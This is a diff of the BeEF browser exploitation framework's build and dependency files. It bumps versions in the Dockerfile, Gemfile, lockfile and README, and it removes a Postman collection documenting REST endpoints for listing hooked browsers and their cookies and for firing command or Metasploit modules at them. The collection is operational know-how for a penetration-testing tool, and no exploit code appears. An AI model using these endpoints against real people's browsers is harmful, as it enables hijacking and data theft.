RUN adduser -h /beef -g beef -D beef ARG UI_PORT=3000
ARG PROXY_PORT=6789
ARG WEBSOCKET_PORT=61985
ARG WEBSOCKET_SECURE_PORT=61986
COPY . /beef
# Create service account to run BeEF and install BeEF's runtime dependencies
RUN adduser --home /beef --gecos beef --disabled-password beef \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
curl \
wget \
espeak \
lame \
openssl \
libreadline-dev \
libyaml-dev \
libxml2-dev \
libxslt-dev \
libncurses5-dev \
libsqlite3-dev \
sqlite3 \
zlib1g \
bison \
nodejs \
firefox-esr \
&& apt-get -y clean \
&& rm -rf /var/lib/apt/lists/*
# Install geckodriver for Selenium tests
# Pin version and verify checksum to mitigate supply chain attacks
ENV GECKODRIVER_VERSION=v0.36.0
ENV GECKODRIVER_SHA256=0bde38707eb0a686a20c6bd50f4adcc7d60d4f73c60eb83ee9e0db8f65823e04
RUN wget -q "https://github.com/mozilla/geckodriver/releases/download/${GECKODRIVER_VERSION}/geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" \
&& echo "${GECKODRIVER_SHA256} geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" | sha256sum -c - \
&& tar -xzf "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" -C /usr/local/bin \
&& chmod +x /usr/local/bin/geckodriver \
&& rm "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz"
# Use gemset created by the builder above # Use gemset created by the builder above
COPY --chown=beef:beef . /beef
COPY --from=builder /usr/local/bundle /usr/local/bundle COPY --from=builder /usr/local/bundle /usr/local/bundle
# Grant beef service account owner and groups rights over our BeEF working directory.
RUN chown -R beef:beef /beef
# Install BeEF's runtime dependencies
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
WORKDIR /beef
# Ensure we are using our service account by default # Ensure we are using our service account by default
USER beef USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server # Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports
EXPOSE 3000 6789 61985 61986 EXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:$UI_PORT" ]
WORKDIR /beef
ENTRYPOINT ["/beef/beef"] ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 ------------------------------------------------- # ------------------------------------- End of Builder 1 -------------------------------------------------

118
Gemfile
View File

@@ -1,93 +1,91 @@
# BeEF's Gemfile
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
#gem 'simplecov', require: false, group: :test
gem 'eventmachine' gem 'net-smtp', require: false
gem 'thin'
gem 'sinatra', '>= 2.0.2'
gem 'rack', '>= 2.2.3'
gem 'rack-protection', '>= 2.0.0'
gem 'em-websocket' # WebSocket support
gem 'uglifier', '>= 2.7.2'
gem 'mime-types'
gem 'execjs'
gem 'ansi'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'json' gem 'json'
gem 'rubyzip', '>= 1.2.2'
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice gem 'eventmachine', '~> 1.2', '>= 1.2.7'
gem 'nokogiri', '>= 1.11.1' gem 'thin', '~> 2.0'
gem 'rake', '>= 12.3.3' gem 'sinatra', '~> 4.1'
gem 'otr-activerecord', '>= 1.4.2' gem 'rack', '~> 3.2'
gem 'sqlite3' gem 'rack-protection', '~> 4.2.1'
gem 'rubocop', '~> 0.92.0', require: false gem 'em-websocket', '~> 0.5.3' # WebSocket support
gem 'uglifier', '~> 4.2'
gem 'mime-types', '~> 3.7'
gem 'execjs', '~> 2.10'
gem 'ansi', '~> 1.5'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'rubyzip', '~> 3.2'
gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice
gem 'rake', '~> 13.3'
gem 'activerecord', '~> 8.1'
gem 'otr-activerecord', '~> 2.6.0'
gem 'sqlite3', '~> 2.9'
gem 'rubocop', '~> 1.85.0', require: false
# Geolocation support # Geolocation support
group :geoip do group :geoip do
gem 'maxmind-db' gem 'maxmind-db', '~> 1.4'
end end
gem 'parseconfig' gem 'parseconfig', '~> 1.1', '>= 1.1.2'
gem 'erubis' gem 'erubis', '~> 2.7'
# Metasploit Integration extension # Metasploit Integration extension
group :ext_msf do group :ext_msf do
gem 'msfrpc-client' gem 'msfrpc-client', '~> 1.1', '>= 1.1.2'
gem 'xmlrpc' gem 'xmlrpc', '~> 0.3.3'
end end
# Notifications extension # Notifications extension
group :ext_notifications do group :ext_notifications do
# Pushover # Pushover
gem 'rushover' gem 'rushover', '~> 0.3.0'
# Slack # Slack
gem 'slack-notifier' gem 'slack-notifier', '~> 2.4'
# Twitter
gem 'twitter', '>= 5.0.0'
end end
# DNS extension # DNS extension
group :ext_dns do group :ext_dns do
gem 'async-dns' gem 'async-dns', '~> 1.4'
gem 'async', '~> 1.32'
end end
# QRcode extension # QRcode extension
group :ext_qrcode do group :ext_qrcode do
gem 'qr4r' gem 'qr4r', '~> 0.6.1'
end end
# For running unit tests # For running unit tests
group :test do group :test do
gem 'test-unit' gem 'simplecov', '~> 0.22'
gem 'test-unit-full' gem 'test-unit-full', '~> 0.0.5'
gem 'rspec' gem 'rspec', '~> 3.13'
gem 'rdoc' gem 'rdoc', '~> 7.2'
# curb gem requires curl libraries gem 'browserstack-local', '~> 1.4'
# sudo apt-get install libcurl4-openssl-dev
gem 'curb' gem 'irb', '~> 1.17'
# selenium-webdriver 3.x is incompatible with Firefox version 48 and prior gem 'pry-byebug', '~> 3.12'
# gem 'selenium' # Requires old version of selenium which is no longer available
gem 'geckodriver-helper' gem 'rest-client', '~> 2.1.0'
gem 'selenium-webdriver' gem 'websocket-client-simple', '~> 0.6.1'
# nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev # Note: curb gem requires curl libraries
# sudo port install libxml2 libxslt # sudo apt-get install libcurl4-openssl-dev
gem 'capybara' gem 'curb', '~> 1.2'
# RESTful API tests/generic command module tests
gem 'rest-client', '>= 2.0.1' # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
gem 'irb' # gem 'selenium' # Requires old version of selenium which is no longer available
gem 'pry-byebug' gem 'geckodriver-helper', '~> 0.24.0'
gem "websocket-client-simple", "~> 0.3.0" gem 'selenium-webdriver', '~> 4.41'
gem "browserstack-local", "~> 1.3"
# Note: nokogiri is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem 'capybara', '~> 3.40'
end end
source 'https://rubygems.org' source 'https://rubygems.org'

364
Gemfile.lock Normal file
View File

@@ -0,0 +1,364 @@
GEM
remote: https://rubygems.org/
specs:
activemodel (8.1.2)
activesupport (= 8.1.2)
activerecord (8.1.2)
activemodel (= 8.1.2)
activesupport (= 8.1.2)
timeout (>= 0.4.0)
activesupport (8.1.2)
base64
bigdecimal
concurrent-ruby (~> 1.0, >= 1.3.1)
connection_pool (>= 2.2.5)
drb
i18n (>= 1.6, < 2)
json
logger (>= 1.4.2)
minitest (>= 5.1)
securerandom (>= 0.3)
tzinfo (~> 2.0, >= 2.0.5)
uri (>= 0.13.1)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
ansi (1.5.0)
archive-zip (0.13.1)
io-like (~> 0.4.0)
ast (2.4.3)
async (1.32.1)
console (~> 1.10)
nio4r (~> 2.3)
timers (~> 4.1)
async-dns (1.4.1)
async
io-endpoint
base64 (0.3.0)
bigdecimal (4.0.1)
browserstack-local (1.4.3)
byebug (13.0.0)
reline (>= 0.6.0)
capybara (3.40.0)
addressable
matrix
mini_mime (>= 0.1.3)
nokogiri (~> 1.11)
rack (>= 1.6.0)
rack-test (>= 0.6.3)
regexp_parser (>= 1.5, < 3.0)
xpath (~> 3.2)
coderay (1.1.3)
concurrent-ruby (1.3.6)
connection_pool (3.0.2)
console (1.34.0)
fiber-annotation
fiber-local (~> 1.1)
json
curb (1.2.2)
daemons (1.4.1)
date (3.5.1)
diff-lcs (1.6.2)
docile (1.4.1)
domain_name (0.6.20240107)
drb (2.2.3)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
erb (6.0.1)
erubis (2.7.0)
espeak-ruby (1.1.0)
event_emitter (0.2.6)
eventmachine (1.2.7)
execjs (2.10.0)
fiber-annotation (0.2.0)
fiber-local (1.1.0)
fiber-storage
fiber-storage (1.0.1)
geckodriver-helper (0.24.0)
archive-zip (~> 0.7)
http-accept (1.7.0)
http-cookie (1.0.8)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
i18n (1.14.8)
concurrent-ruby (~> 1.0)
io-console (0.8.2)
io-endpoint (0.15.2)
io-like (0.4.0)
irb (1.17.0)
pp (>= 0.6.0)
prism (>= 1.3.0)
rdoc (>= 4.0.0)
reline (>= 0.4.2)
json (2.18.1)
json-schema (6.1.0)
addressable (~> 2.8)
bigdecimal (>= 3.1, < 5)
language_server-protocol (3.17.0.5)
lint_roller (1.1.0)
logger (1.7.0)
matrix (0.4.3)
maxmind-db (1.4.0)
mcp (0.7.1)
json-schema (>= 4.1)
method_source (1.1.0)
mime-types (3.7.0)
logger
mime-types-data (~> 3.2025, >= 3.2025.0507)
mime-types-data (3.2025.0902)
mini_mime (1.1.5)
minitest (6.0.1)
prism (~> 1.5)
mojo_magick (0.6.8)
msfrpc-client (1.1.2)
msgpack (~> 1)
msgpack (1.8.0)
mustermann (3.0.4)
ruby2_keywords (~> 0.0.1)
net-protocol (0.2.2)
timeout
net-smtp (0.5.1)
net-protocol
netrc (0.11.0)
nio4r (2.7.4)
nokogiri (1.19.1-aarch64-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-aarch64-linux-musl)
racc (~> 1.4)
nokogiri (1.19.1-arm-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-arm-linux-musl)
racc (~> 1.4)
nokogiri (1.19.1-arm64-darwin)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-darwin)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-linux-musl)
racc (~> 1.4)
otr-activerecord (2.6.0)
activerecord (>= 6.0, < 9.0)
parallel (1.27.0)
parseconfig (1.1.2)
parser (3.3.10.2)
ast (~> 2.4.1)
racc
power_assert (2.0.5)
pp (0.6.3)
prettyprint
prettyprint (0.2.0)
prism (1.9.0)
pry (0.16.0)
coderay (~> 1.1)
method_source (~> 1.0)
reline (>= 0.6.0)
pry-byebug (3.12.0)
byebug (~> 13.0)
pry (>= 0.13, < 0.17)
psych (5.3.1)
date
stringio
public_suffix (6.0.2)
qr4r (0.6.2)
mojo_magick (~> 0.6.5)
rqrcode_core (~> 1.0)
racc (1.8.1)
rack (3.2.5)
rack-protection (4.2.1)
base64 (>= 0.1.0)
logger (>= 1.6.0)
rack (>= 3.0.0, < 4)
rack-session (2.1.1)
base64 (>= 0.1.0)
rack (>= 3.0.0)
rack-test (2.2.0)
rack (>= 1.3)
rainbow (3.1.1)
rake (13.3.1)
rdoc (7.2.0)
erb
psych (>= 4.0.0)
tsort
regexp_parser (2.11.3)
reline (0.6.3)
io-console (~> 0.5)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rexml (3.4.4)
rqrcode_core (1.2.0)
rr (3.1.2)
rspec (3.13.2)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.6)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-mocks (3.13.6)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-support (3.13.6)
rubocop (1.85.0)
json (~> 2.3)
language_server-protocol (~> 3.17.0.2)
lint_roller (~> 1.1.0)
mcp (~> 0.6)
parallel (~> 1.10)
parser (>= 3.3.0.2)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 2.9.3, < 3.0)
rubocop-ast (>= 1.49.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.49.0)
parser (>= 3.3.7.2)
prism (~> 1.7)
ruby-progressbar (1.13.0)
ruby2_keywords (0.0.5)
rubyzip (3.2.2)
rushover (0.3.0)
json
rest-client
securerandom (0.4.1)
selenium-webdriver (4.41.0)
base64 (~> 0.2)
logger (~> 1.4)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2, < 4.0)
websocket (~> 1.0)
simplecov (0.22.0)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov_json_formatter (~> 0.1)
simplecov-html (0.13.2)
simplecov_json_formatter (0.1.4)
sinatra (4.2.1)
logger (>= 1.6.0)
mustermann (~> 3.0)
rack (>= 3.0.0, < 4)
rack-protection (= 4.2.1)
rack-session (>= 2.0.0, < 3)
tilt (~> 2.0)
slack-notifier (2.4.0)
sqlite3 (2.9.0-aarch64-linux-gnu)
sqlite3 (2.9.0-aarch64-linux-musl)
sqlite3 (2.9.0-arm-linux-gnu)
sqlite3 (2.9.0-arm-linux-musl)
sqlite3 (2.9.0-arm64-darwin)
sqlite3 (2.9.0-x86_64-darwin)
sqlite3 (2.9.0-x86_64-linux-gnu)
sqlite3 (2.9.0-x86_64-linux-musl)
stringio (3.2.0)
sync (0.5.0)
term-ansicolor (1.11.3)
tins (~> 1)
test-unit (3.7.0)
power_assert
test-unit-context (0.5.1)
test-unit (>= 2.4.0)
test-unit-full (0.0.5)
test-unit
test-unit-context
test-unit-notify
test-unit-rr
test-unit-runner-tap
test-unit-notify (1.0.4)
test-unit (>= 2.4.9)
test-unit-rr (1.0.5)
rr (>= 1.1.1)
test-unit (>= 2.5.2)
test-unit-runner-tap (1.1.2)
test-unit
thin (2.0.1)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
logger
rack (>= 1, < 4)
tilt (2.6.1)
timeout (0.6.0)
timers (4.4.0)
tins (1.43.0)
bigdecimal
sync
tsort (0.2.0)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
uglifier (4.2.1)
execjs (>= 0.3.0, < 3)
unicode-display_width (3.2.0)
unicode-emoji (~> 4.1)
unicode-emoji (4.2.0)
uri (1.1.1)
webrick (1.9.1)
websocket (1.2.11)
websocket-client-simple (0.6.1)
event_emitter
websocket
xmlrpc (0.3.3)
webrick
xpath (3.2.0)
nokogiri (~> 1.8)
PLATFORMS
aarch64-linux-gnu
aarch64-linux-musl
arm-linux-gnu
arm-linux-musl
arm64-darwin
x86_64-darwin
x86_64-linux-gnu
x86_64-linux-musl
DEPENDENCIES
activerecord (~> 8.1)
ansi (~> 1.5)
async (~> 1.32)
async-dns (~> 1.4)
browserstack-local (~> 1.4)
capybara (~> 3.40)
curb (~> 1.2)
em-websocket (~> 0.5.3)
erubis (~> 2.7)
espeak-ruby (~> 1.1.0)
eventmachine (~> 1.2, >= 1.2.7)
execjs (~> 2.10)
geckodriver-helper (~> 0.24.0)
irb (~> 1.17)
json
maxmind-db (~> 1.4)
mime-types (~> 3.7)
msfrpc-client (~> 1.1, >= 1.1.2)
net-smtp
otr-activerecord (~> 2.6.0)
parseconfig (~> 1.1, >= 1.1.2)
pry-byebug (~> 3.12)
qr4r (~> 0.6.1)
rack (~> 3.2)
rack-protection (~> 4.2.1)
rake (~> 13.3)
rdoc (~> 7.2)
rest-client (~> 2.1.0)
rspec (~> 3.13)
rubocop (~> 1.85.0)
rubyzip (~> 3.2)
rushover (~> 0.3.0)
selenium-webdriver (~> 4.41)
simplecov (~> 0.22)
sinatra (~> 4.1)
slack-notifier (~> 2.4)
sqlite3 (~> 2.9)
term-ansicolor
test-unit-full (~> 0.0.5)
thin (~> 2.0)
uglifier (~> 4.2)
websocket-client-simple (~> 0.6.1)
xmlrpc (~> 0.3.3)
BUNDLED WITH
2.7.2

View File

@@ -1,7 +1,7 @@
=============================================================================== ===============================================================================
Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com Browser Exploitation Framework (BeEF) - https://beefproject.com
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
=============================================================================== ===============================================================================
@@ -21,9 +21,9 @@ Or cloning the Git repository from Github:
Prerequisites Prerequisites
-------------- --------------
BeEF requires Ruby 2.5+. BeEF requires Ruby 3.0+.
If your operating system package manager does not support Ruby version 2.5, If your operating system package manager does not support Ruby version 3.0,
you can add the brightbox ppa repository for the latest version of Ruby: you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng $ sudo apt-add-repository -y ppa:brightbox/ruby-ng
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
If you're using BeEF from the GitHub repository, updating is as simple as: If you're using BeEF from the GitHub repository, updating is as simple as:
$ git pull $ ./update-beef
Or pull the latest repo yourself and then update the gems with:
$ git pull
$ bundle

View File

@@ -1,7 +1,7 @@
=============================================================================== ===============================================================================
Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com Browser Exploitation Framework (BeEF) - https://beefproject.com
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
=============================================================================== ===============================================================================
@@ -30,12 +30,13 @@ __Security Bugs:__ security@beefproject.com
__Twitter:__ [@beefproject](https://twitter.com/beefproject) __Twitter:__ [@beefproject](https://twitter.com/beefproject)
__Discord:__ https://discord.gg/25wT2P8pwx
Requirements Requirements
------------ ------------
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported. * Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](http://ruby-lang.org): 2.5 or newer * [Ruby](https://www.ruby-lang.org): 3.0 or newer
* [SQLite](http://sqlite.org): 3.x * [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 10 or newer * [Node.js](https://nodejs.org): 10 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile * The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile

View File

@@ -1,567 +0,0 @@
{
"info": {
"_postman_id": "3b47c3ff-c03f-446c-8edb-cacaab481425",
"name": "RESTful API",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "Authentication",
"event": [
{
"listen": "test",
"script": {
"id": "8e1a5f48-1d41-469d-a153-6cd5ee751912",
"exec": [
"var jsonData = JSON.parse(responseBody);",
"pm.environment.set(\"token\", jsonData.token);"
],
"type": "text/javascript"
}
}
],
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "{\n\t\"username\": \"{{username}}\",\n\t\"password\": \"{{password}}\"\n\t\n}",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/admin/login",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"admin",
"login"
]
},
"description": "In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.\n\nA new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.\n\nWhen BeEF starts the token is printed to the console. It should look something like:\n\n[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47\nGrabbing the Token from BeEF's API\n\nYou can issue a POST request to /api/admin/login using the BeEF credentials you have set in the main config.yaml file. This request will return the token in the response. You can parse the JSON and use it for your next requests requiring authentication."
},
"response": []
},
{
"name": "Get All Hooked Browsers",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline)."
},
"response": []
},
{
"name": "Get Specific Hooked Browser",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "\n Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.\n"
},
"response": []
},
{
"name": "Get All Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"logs"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "The logs handler gives information about all hooked browser's logs, both global and relative."
},
"response": []
},
{
"name": "Get Specific Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"logs",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": " The logs handler gives information about a specified hooked browser's logs.\n"
},
"response": []
},
{
"name": "List All Command Modules",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "List all available BeEF command modules."
},
"response": []
},
{
"name": "Get Information on Specific Module",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Get detailed information about a specific BeEF command module.\n"
},
"response": []
},
{
"name": "Launch Command Module on a Specific Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific BeEF command module on a given hooked browser.\n"
},
"response": []
},
{
"name": "Return Information About Previously Executed Module",
"protocolProfileBehavior": {
"disableBodyPruning": true
},
"request": {
"method": "GET",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}/{{cmd_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}",
"{{cmd_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns information about a specific previously launched BeEF command module.\n"
},
"response": []
},
{
"name": "Send a Metasploit Module",
"request": {
"method": "POST",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific Metasploit module on a given hooked browser\n"
},
"response": []
},
{
"name": " Send a Module to Multiple Hooked Browsers",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_browser?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_browser"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues."
},
"response": []
},
{
"name": " Send Multiple Modules to a Single Hooked Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_module?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_module"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues."
},
"response": []
},
{
"name": "List the DNS ruleset",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/ruleset?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"ruleset"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns the current set of DNS rules.\n"
},
"response": []
},
{
"name": "List a Specific DNS Rule",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns an individual DNS rule given its unique id.\n"
},
"response": []
},
{
"name": "Add a New DNS Rule",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Adds a new DNS rule or \"resource record\". Does nothing if rule is already present.\n"
},
"response": []
},
{
"name": "Remove an Existing DNS Rule",
"request": {
"method": "DELETE",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Removes an individual DNS rule with a specified unique ID.\n"
},
"response": []
}
],
"protocolProfileBehavior": {}
}

128
Rakefile
View File

@@ -1,28 +1,43 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
require 'yaml'
require 'bundler/setup'
load 'tasks/otr-activerecord.rake'
#require 'pry-byebug'
task :default => ["spec"]
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
## RSPEC
require 'rspec/core/rake_task' require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec) do |task| task :default => ["short"]
RSpec::Core::RakeTask.new(:short) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests']
end
RSpec::Core::RakeTask.new(:long) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack'] task.rspec_opts = ['--tag ~run_on_browserstack']
end end
RSpec::Core::RakeTask.new(:long_only) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack', '--tag run_on_long_tests']
end
################################
# Browserstack
RSpec::Core::RakeTask.new(:browserstack) do |task|
task.rspec_opts = ['--tag run_on_browserstack']
end
RSpec::Core::RakeTask.new(:bs) do |task|
configs = Dir["spec/support/browserstack/**/*.yml"]
configs.each do |config|
config = config.split('spec/support/browserstack')[1]
ENV['CONFIG_FILE'] = config
puts "\e[45m#{config.upcase}\e[0m"
task.rspec_opts = ['--tag run_on_browserstack']
Rake::Task['browserstack'].invoke
Rake::Task['browserstack'].reenable
end
end
################################ ################################
# SSL/TLS certificate # SSL/TLS certificate
@@ -39,7 +54,7 @@ namespace :ssl do
end end
